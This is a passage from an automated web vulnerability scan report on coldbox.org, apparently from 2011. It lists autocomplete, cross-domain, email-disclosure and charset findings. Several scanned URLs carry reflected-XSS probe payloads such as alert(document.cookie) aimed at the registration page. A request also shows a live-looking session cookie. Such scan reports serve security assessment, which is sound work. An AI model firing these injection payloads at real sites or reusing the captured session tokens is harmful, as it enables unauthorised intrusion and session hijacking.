To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

3.1. http://www.coldbox.org/download previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/download

Issue detail

The page contains a form with the following action URL:

http://www.coldbox.org/user/doLogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

3.2. http://www.coldbox.org/user/registration previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration

Issue detail

The page contains a form with the following action URL:

http://www.coldbox.org/user/doRegistration

The form contains the following password fields with autocomplete enabled:

password
c_password

Request

Response

HTTP/1.1 200 OK
Date: Wed, 31 Aug 2011 22:44:46 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 15750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
</p>

<form name="registerForm" id="registerForm" method="post" action="http://www.coldbox.org/user/doRegistration">

   <fieldset name="personal details">
...[SNIP]...
</label>
       <input type="password" name="password" id="password" value="" required="true" dName="Password" size="30">
       <label for="password">
...[SNIP]...
</label>
       <input type="password" name="c_password" id="c_password" value="" required="true" dName="Confirm Password" size="30" equal="password">

   </fieldset>
...[SNIP]...

3.3. http://www.coldbox.org/user/registration previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration

Issue detail

The page contains a form with the following action URL:

http://www.coldbox.org/user/doLogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

3.4. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The page contains a form with the following action URL:

http://www.coldbox.org/user/doLogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

3.5. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a

Issue detail

The page contains a form with the following action URL:

http://www.coldbox.org/user/doLogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

3.6. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue detail

The page contains a form with the following action URL:

http://www.coldbox.org/user/doLogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

4. Cross-domain POST previous next
There are 6 instances of this issue:

/download
/download
/user/registration
/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a
/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a
/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

4.1. http://www.coldbox.org/download previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/download

Issue detail

The page contains a form which POSTs data to the domain ortussolutions.us1.list-manage.com. The form contains the following fields:

EMAIL
FNAME
LNAME
COMPANY
MMERGE4[area]
MMERGE4[detail1]
MMERGE4[detail2]
subscribe

Request

Response

HTTP/1.1 200 OK
Date: Wed, 31 Aug 2011 22:44:40 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 30195

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
<div id="mc_embed_signup" style="width: 400px;">
<form action="http://ortussolutions.us1.list-manage.com/subscribe/post?u=09b13d89e6ce4c287f4c1f1b0&id=3e1b4f549e" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" style="font: normal 100% Arial, sans-serif;font-size: 10px;">
   <fieldset style="-moz-border-radius: 4px;border-radius: 4px;-webkit-border-radius: 4px;border: 1px solid #ccc;padding-top: 1.5em;margin: .5em 0;background-color: #FFFFFF;color: #808080;text-align: le
...[SNIP]...

4.2. http://www.coldbox.org/download previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/download

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
amount
page_style
buyer_credit_promo_code
buyer_credit_product_category
buyer_credit_shipping_method
buyer_credit_user_address_change
no_shipping
no_note
currency_code
tax
lc
bn
amount
amount
amount
amount
amount
amount
donatebutton

Request

Response

4.3. http://www.coldbox.org/user/registration previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
amount
page_style
buyer_credit_promo_code
buyer_credit_product_category
buyer_credit_shipping_method
buyer_credit_user_address_change
no_shipping
no_note
currency_code
tax
lc
bn
amount
amount
amount
amount
amount
amount
donatebutton

Request

Response

4.4. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
amount
page_style
buyer_credit_promo_code
buyer_credit_product_category
buyer_credit_shipping_method
buyer_credit_user_address_change
no_shipping
no_note
currency_code
tax
lc
bn
amount
amount
amount
amount
amount
amount
donatebutton

Request

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:49:59 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10740

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
</a>


                           <form action="https://www.paypal.com/cgi-bin/webscr" method="post" name="paypal_donate_form" id="paypal_donate_form" style="background-color:">
   <input type="hidden" name="cmd" value="_xclick">
...[SNIP]...

4.5. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
amount
page_style
buyer_credit_promo_code
buyer_credit_product_category
buyer_credit_shipping_method
buyer_credit_user_address_change
no_shipping
no_note
currency_code
tax
lc
bn
amount
amount
amount
amount
amount
amount
donatebutton

Request

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:17 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
</a>


                           <form action="https://www.paypal.com/cgi-bin/webscr" method="post" name="paypal_donate_form" id="paypal_donate_form" style="background-color:">
   <input type="hidden" name="cmd" value="_xclick">
...[SNIP]...

4.6. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
amount
page_style
buyer_credit_promo_code
buyer_credit_product_category
buyer_credit_shipping_method
buyer_credit_user_address_change
no_shipping
no_note
currency_code
tax
lc
bn
amount
amount
amount
amount
amount
amount
donatebutton

Request

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:29 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10752

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
</a>


                           <form action="https://www.paypal.com/cgi-bin/webscr" method="post" name="paypal_donate_form" id="paypal_donate_form" style="background-color:">
   <input type="hidden" name="cmd" value="_xclick">
...[SNIP]...

5. Cross-domain script include previous next
There are 5 instances of this issue:

/download
/user/registration
/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a
/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a
/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

5.1. http://www.coldbox.org/download previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/download

Issue detail

The response dynamically includes the following scripts from other domains:

http://books.google.com/books/previewlib.js
http://downloads.mailchimp.com/js/jquery.form-n-validate.js
http://www.google-analytics.com/urchin.js
http://www.google.com/coop/cse/brand?form=searchbox_016428578290111247219%3A83ttrlkrtrw&lang=en

Request

Response

HTTP/1.1 200 OK
Date: Wed, 31 Aug 2011 22:44:40 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 30195

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=searchbox_016428578290111247219%3A83ttrlkrtrw&lang=en"></script>
...[SNIP]...
<div align="center">
               <script type="text/javascript" src="http://books.google.com/books/previewlib.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://downloads.mailchimp.com/js/jquery.form-n-validate.js"></script>
...[SNIP]...
</html>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

5.2. http://www.coldbox.org/user/registration previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration

Issue detail

The response dynamically includes the following scripts from other domains:

http://books.google.com/books/previewlib.js
http://www.google-analytics.com/urchin.js
http://www.google.com/coop/cse/brand?form=searchbox_016428578290111247219%3A83ttrlkrtrw&lang=en

Request

Response

HTTP/1.1 200 OK
Date: Wed, 31 Aug 2011 22:44:46 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 15750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=searchbox_016428578290111247219%3A83ttrlkrtrw&lang=en"></script>
...[SNIP]...
<div align="center">
               <script type="text/javascript" src="http://books.google.com/books/previewlib.js"></script>
...[SNIP]...
</html>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

5.3. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The response dynamically includes the following scripts from other domains:

http://books.google.com/books/previewlib.js
http://www.google-analytics.com/urchin.js
http://www.google.com/coop/cse/brand?form=searchbox_016428578290111247219%3A83ttrlkrtrw&lang=en

Request

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:49:59 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10740

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=searchbox_016428578290111247219%3A83ttrlkrtrw&lang=en"></script>
...[SNIP]...
<div align="center">
               <script type="text/javascript" src="http://books.google.com/books/previewlib.js"></script>
...[SNIP]...
</html>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

5.4. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a

Issue detail

The response dynamically includes the following scripts from other domains:

http://books.google.com/books/previewlib.js
http://www.google-analytics.com/urchin.js
http://www.google.com/coop/cse/brand?form=searchbox_016428578290111247219%3A83ttrlkrtrw&lang=en

Request

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:17 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=searchbox_016428578290111247219%3A83ttrlkrtrw&lang=en"></script>
...[SNIP]...
<div align="center">
               <script type="text/javascript" src="http://books.google.com/books/previewlib.js"></script>
...[SNIP]...
</html>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

5.5. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue detail

The response dynamically includes the following scripts from other domains:

http://books.google.com/books/previewlib.js
http://www.google-analytics.com/urchin.js
http://www.google.com/coop/cse/brand?form=searchbox_016428578290111247219%3A83ttrlkrtrw&lang=en

Request

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:29 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10752

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=searchbox_016428578290111247219%3A83ttrlkrtrw&lang=en"></script>
...[SNIP]...
<div align="center">
               <script type="text/javascript" src="http://books.google.com/books/previewlib.js"></script>
...[SNIP]...
</html>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

6. Email addresses disclosed previous next
There are 5 instances of this issue:

/download
/user/registration
/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a
/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a
/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

6.1. http://www.coldbox.org/download previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/download

Issue detail

The following email addresses were disclosed in the response:

info@ortussolutions.com
lmajano@ortussolutions.com

Request

Response

6.2. http://www.coldbox.org/user/registration previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration

Issue detail

The following email addresses were disclosed in the response:

info@ortussolutions.com
lmajano@ortussolutions.com

Request

Response

6.3. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The following email addresses were disclosed in the response:

info@ortussolutions.com
lmajano@ortussolutions.com

Request

Response

6.4. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a

Issue detail

The following email addresses were disclosed in the response:

info@ortussolutions.com
lmajano@ortussolutions.com

Request

Response

6.5. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue detail

The following email addresses were disclosed in the response:

info@ortussolutions.com
lmajano@ortussolutions.com

Request

Response

7. HTML does not specify charset previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/includes/images/MessageBox.png

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /includes/images/MessageBox.png HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
Referer: http://coldbox.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314798131.1

Response

HTTP/1.1 404 Not Found
Date: Wed, 31 Aug 2011 22:44:24 GMT
Server: Apache
Last-Modified: Wed, 15 Jun 2011 05:00:20 GMT
ETag: "1de8c5-3bd-4a5b9077ce100"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 957
Content-Type: text/html

<HTML>
<HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD>
<BODY>
<H1>Not Found</H1>
The requested document was not found on this server.
<P>
<HR>
<ADDRESS>
Web Server at coldbox.org
</ADDRESS>
</BODY>
</HTML
...[SNIP]...

Report generated by XSS.CX at Wed Aug 31 17:05:31 GMT-06:00 2011.